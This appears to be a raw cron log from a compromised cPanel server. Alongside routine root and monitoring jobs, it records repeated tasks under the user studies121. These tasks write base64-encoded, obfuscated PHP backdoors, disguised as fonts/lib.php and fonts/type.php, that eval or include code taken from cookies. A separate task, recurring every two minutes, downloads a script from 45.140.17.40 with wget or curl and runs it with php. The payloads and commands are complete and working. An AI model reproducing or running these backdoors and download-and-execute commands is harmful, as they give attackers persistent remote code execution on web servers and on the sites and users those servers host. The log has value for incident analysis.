Sep  3 03:45:01 ip-184-168-122-23 CROND[26354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:45:01 ip-184-168-122-23 CROND[26351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:45:01 ip-184-168-122-23 CROND[26352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:45:01 ip-184-168-122-23 CROND[26355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:46:01 ip-184-168-122-23 CROND[26450]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 03:46:01 ip-184-168-122-23 CROND[26455]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 03:46:01 ip-184-168-122-23 CROND[26452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:46:01 ip-184-168-122-23 CROND[26453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:46:01 ip-184-168-122-23 CROND[26454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:46:01 ip-184-168-122-23 CROND[26456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:46:01 ip-184-168-122-23 CROND[26457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:47:01 ip-184-168-122-23 CROND[26583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:47:01 ip-184-168-122-23 CROND[26586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:47:01 ip-184-168-122-23 CROND[26587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:47:01 ip-184-168-122-23 CROND[26585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:48:01 ip-184-168-122-23 CROND[26781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:48:01 ip-184-168-122-23 CROND[26782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:48:01 ip-184-168-122-23 CROND[26785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:48:01 ip-184-168-122-23 CROND[26787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:48:01 ip-184-168-122-23 CROND[26788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:49:01 ip-184-168-122-23 CROND[26905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:49:01 ip-184-168-122-23 CROND[26908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:49:01 ip-184-168-122-23 CROND[26910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:49:01 ip-184-168-122-23 CROND[26909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:50:01 ip-184-168-122-23 CROND[27012]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:50:01 ip-184-168-122-23 CROND[27018]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 03:50:01 ip-184-168-122-23 CROND[27020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:50:02 ip-184-168-122-23 CROND[27024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:50:02 ip-184-168-122-23 CROND[27025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:50:02 ip-184-168-122-23 CROND[27027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:50:02 ip-184-168-122-23 CROND[27026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:50:02 ip-184-168-122-23 CROND[27029]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:50:02 ip-184-168-122-23 CROND[27032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:51:01 ip-184-168-122-23 CROND[27165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:51:01 ip-184-168-122-23 CROND[27167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:51:01 ip-184-168-122-23 CROND[27168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:51:01 ip-184-168-122-23 CROND[27171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:52:01 ip-184-168-122-23 CROND[27285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:52:01 ip-184-168-122-23 CROND[27284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:52:01 ip-184-168-122-23 CROND[27290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:52:01 ip-184-168-122-23 CROND[27291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:52:01 ip-184-168-122-23 CROND[27293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:53:01 ip-184-168-122-23 CROND[27475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:53:01 ip-184-168-122-23 CROND[27476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:53:01 ip-184-168-122-23 CROND[27477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:53:01 ip-184-168-122-23 CROND[27474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:54:01 ip-184-168-122-23 CROND[27579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:54:01 ip-184-168-122-23 CROND[27582]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:54:01 ip-184-168-122-23 CROND[27581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:54:01 ip-184-168-122-23 CROND[27583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:54:01 ip-184-168-122-23 CROND[27584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:55:01 ip-184-168-122-23 CROND[27714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:55:01 ip-184-168-122-23 CROND[27717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:55:01 ip-184-168-122-23 CROND[27724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:55:01 ip-184-168-122-23 CROND[27725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:55:01 ip-184-168-122-23 CROND[27722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:55:01 ip-184-168-122-23 CROND[27723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:56:01 ip-184-168-122-23 CROND[27826]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:56:01 ip-184-168-122-23 CROND[27828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:56:01 ip-184-168-122-23 CROND[27829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:56:01 ip-184-168-122-23 CROND[27830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:56:01 ip-184-168-122-23 CROND[27831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:57:01 ip-184-168-122-23 CROND[27947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:57:01 ip-184-168-122-23 CROND[27949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
